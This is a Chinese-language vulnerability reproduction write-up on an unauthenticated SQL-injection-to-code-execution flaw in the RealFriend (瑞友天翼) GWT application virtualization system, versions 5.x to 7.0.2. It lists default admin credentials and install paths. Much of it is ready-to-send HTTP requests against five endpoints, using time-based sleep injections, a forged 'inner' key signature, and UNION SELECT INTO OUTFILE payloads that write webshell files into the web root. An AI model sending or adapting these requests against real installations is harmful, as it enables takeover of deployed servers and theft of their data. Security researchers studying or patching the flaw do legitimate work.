漏洞簡介

微步在線漏洞團隊通過“X漏洞獎勵計劃”獲取到瑞友天翼應用虛擬化系統遠程代碼執行漏洞情報(0day),攻擊者可以通過該漏洞執行任意代碼,導致系統被攻擊與控制。瑞友天翼應用虛擬化系統是基于服務器計算架構的應用虛擬化平臺,它將用戶各種應用軟件集中部署到瑞友天翼服務集群,客戶端通過WEB即可訪問經服務器上授權的應用軟件,實現集中應用、遠程接入、協同辦公等。

漏洞是因為未授權接口在接收參數時沒有進行處理校驗,存在 SQL 注入漏洞,又因為集成環境中的 mysql 擁有寫入文件的權限,所以寫入 webshell 最終導致代碼執行。

影響版本

5.x <= 瑞友天翼應用虛擬化系統(GWT System) <= 7.0.2.

環境搭建

從師傅處拷到的安裝包 Gwt7.0.2.1.exe 默認模式安裝,最后

在線注冊獲取試用 http://mop.realor.cn/TrialReg.aspx

注冊成功后

登錄頁面 默認賬號密碼是 Admin/123

默認路徑在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot

默認數據庫配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat

賬號密碼需要將其中的 # 替換為 = 并進行 base64 解碼

漏洞復現與分析

通過 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo 查看版本信息

為了方便查看后端實際執行的完整sql,我們可以使用框架提供的 getLastSql() 方法來 獲取最近一次執行的SQL語句

注入一__IndexController.class.php__dologin

webroot/casweb/Home/Controller/IndexController.class.php:dologin

我們看到其中的 SQL 語句以及對該函數的請求路由

http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b

構造數據包 并打印出相對應的 sql 語句

因為默認沒有開啟驗證碼,所以可以直接到達 SQL 語句處

因為搭建環境時,使用了集成好的mysql 環境,擁有 DBA 的權限,所以可以在文件夾任意位置寫入內容

show global variables like '%secure%';

secure_file_priv='' #允許寫入到任何文件夾

利用報錯信息得到項目的絕對路徑

構造payload

POST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#

查詢管理員用戶的賬戶和密碼

注入二__ConsoleExternalUploadApi.XGI

webroot/ConsoleExternalUploadApi.XGI

image

獲取到三個參數,當三個參數都不為空時,調用 getfarminfo 來進行處理

webroot/Function.XGI

webroot/Common.XGI

對 key 值沒有做任何校驗,所以可以構造 payload 實現注入

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=2&key=FarmName'and sleep(5)#

修改了代碼 打印出了 SQL 命令

構造實現注入寫入文件

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=1&key=1'union select '' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#

注入三__ConsoleExternalUploadApi.XGI__uploadAuthorizeKeyFile

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10

注入四__ConsoleExternalApi.XGI__createUser

之后的漏洞大抵上都可以描述為同一個漏洞,只是因為參數的不同,傳入到不同的位置,在這里僅僅用一個來舉例,之后的不再詳細進行分析

我們從 ConsoleExternalApi.XGI 進行分析

通過 REQUEST 方法獲取到參數

通過接下來的這段代碼,我們可以得到如下結論,當 $key 的值為 inner 時,$keyVal 是一個固定值,$sign 的值是 md5($initparams . $keyVal); $initparams 中需要包含 __ 來分割數據,得到每個參數

然后再通過 _ 分割 得到每個參數所對應的值 也就是當傳入的值是 a_1__b_2 最后得到的也就是 a=1&b=2

繼續向下分析

當傳入的 cmd 的值是 createUser 時,進入相對應的分支,構造相對應的語句就可以實現注入。

POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json
{"account":"1'or sleep(5)#",
"userPwd":"1"}

?

注入五 __ConsoleExternalApi.XGI__getUserDetailByAccount

POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058